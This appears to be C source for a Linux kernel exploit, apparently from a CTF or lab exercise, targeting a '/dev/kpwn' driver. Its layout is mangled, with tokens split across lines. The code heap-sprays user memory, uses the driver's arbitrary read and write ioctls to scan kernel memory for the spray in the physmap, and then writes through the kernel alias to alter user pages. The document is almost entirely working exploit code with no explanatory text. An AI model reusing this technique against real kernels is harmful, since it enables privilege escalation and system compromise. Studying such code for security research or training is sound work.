struct in_args{
uint64_t addr;
uint64_t size;
char
*
buf;
};
void
*
spray[spray_times];
void heap_spray(){
void
*
mp;
int
i
=
0
;
for
(i
=
0
;i<spray_times;i
+
+
){
/
/
64k
*
1024
=
64M
if
((mp
=
mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,
-
1
,
0
))
=
=
MAP_FAILED){
perror(
"mmap failed!"
);
exit(
0
);
}
memset(mp,
'K'
,SIZE);
/
/
filled with
'a'
spray[i]
=
mp;
/
/
record mmap addr
}
printf(
"[+] spray size: 0x%x\n"
,spray_times
*
SIZE);
}
void add_any(
int
fd,
int
size,char
*
buf){
struct in_args
in
;
in
.buf
=
buf;
in
.size
=
size;
ioctl(fd,ADD_ANY,&
in
);
}
void read_any(
int
fd,size_t addr,char
*
buf,
int
size){
struct in_args
in
;
in
.buf
=
buf;
in
.size
=
size;
in
.addr
=
addr;
ioctl(fd,READ_ANY,&
in
);
}
void write_any(
int
fd,size_t addr,void
*
buf,
int
size){
struct in_args
in
;
in
.addr
=
addr;
in
.buf
=
buf;
in
.size
=
size;
ioctl(fd,WRITE_ANY,&
in
);
/
/
write buf to addr, size
is
rcx
}
size_t
*
check(){
int
i
=
0
;
for
(i
=
0
;i<spray_times;i
+
+
){
size_t
*
p
=
spray[i];
int
j
=
0
;
while
(j<SIZE
/
8
){
if
(p[j]!
=
0x4b4b4b4b4b4b4b4b
){
/
/
KKKKKKKKKKKK
printf(
"[-] no KKKKKKKK\n"
);
return
&p[j];
}
j
+
=
0x1000
/
8
;
}
}
return
NULL;
}
void dump_mem(char
*
buf,size_t num){
size_t
*
buf64
=
(size_t
*
)buf;
puts(
"[+] dump changed memory start:"
);
printf(
"[+] addr:%p\n"
,buf);
for
(
int
i
=
0
;i<num;i
+
+
){
printf(
"[- %p -] 0x%016lx\n"
,buf
+
=
0x10
,
*
(buf64
+
i));
}
printf(
"[+] dump end...\n"
);
}
int
main(){
int
fd
=
open
(
"/dev/kpwn"
,O_RDWR);
if
(fd<
=
0
){
perror(
"Fail:"
);
}
printf(
"[*] fd number:%d\n"
,fd);
char
*
buf
=
malloc(
0x1000
);
printf(
"[*] malloc 0x1000 buf:0x%lx\n"
,(size_t)buf);
char
*
dirty
=
malloc(
0x100
);
printf(
"[*] malloc 0x100 dirty:0x%lx\n"
,(size_t)dirty);
memset(dirty,
'A'
,
0x100
);
add_any(fd,
0x200
,buf);
printf(
"[*] first kmalloc 0x200:0x%lx\n"
,((size_t
*
)buf)[
0
]);
heap_spray();
/
/
heap spray
64M
size_t slab_addr
=
((size_t
*
)buf)[
0
] &
0xffffffffff000000
;
printf(
"[*] slab addr:0x%lx\n"
,slab_addr);
/
/
size_t addr
=
slab_addr;
char
*
target
=
"KKKKKKKKKKKKKKKK"
;
size_t pos
=
0
;
size_t change_addr
=
0
;
size_t
*
buf64
=
(size_t
*
)buf;
size_t count
=
0
;
printf(
"[+] start to seaerch memory!\n"
);
for
(size_t addr
=
slab_addr;addr<
0xffffc80000000000
;addr
+
=
0x1000
){
memset(buf,
0
,
0x1000
);
/
/
reset buf to
0
read_any(fd,addr,buf,
0x1000
);
/
/
read
0x1000
(a page) to buf
pos
=
(size_t)memmem(buf,
0x1000
,target,
0x10
);
/
/
find target
in
memory
/
/
printf(
"[=] count:0x%lx,pos:0x%lx\n"
,count
+
+
,(size_t)pos);
if
(pos){
change_addr
=
addr
+
(pos
-
(size_t)buf);
printf(
"[+] phymap hit addr:0x%lx\n"
,addr);
printf(
"[+] change addr:0x%lx\n"
,change_addr);
write_any(fd,change_addr,dirty,
0x20
);
size_t
*
p
=
check();
if
(p!
=
NULL){
printf(
"\n[+] Userspace already changed!\n"
);
dump_mem((char
*
)p,
0x10
);
break
;
}
}
}
puts(
"[*] over -.-"
);
getchar();
return
0
;
}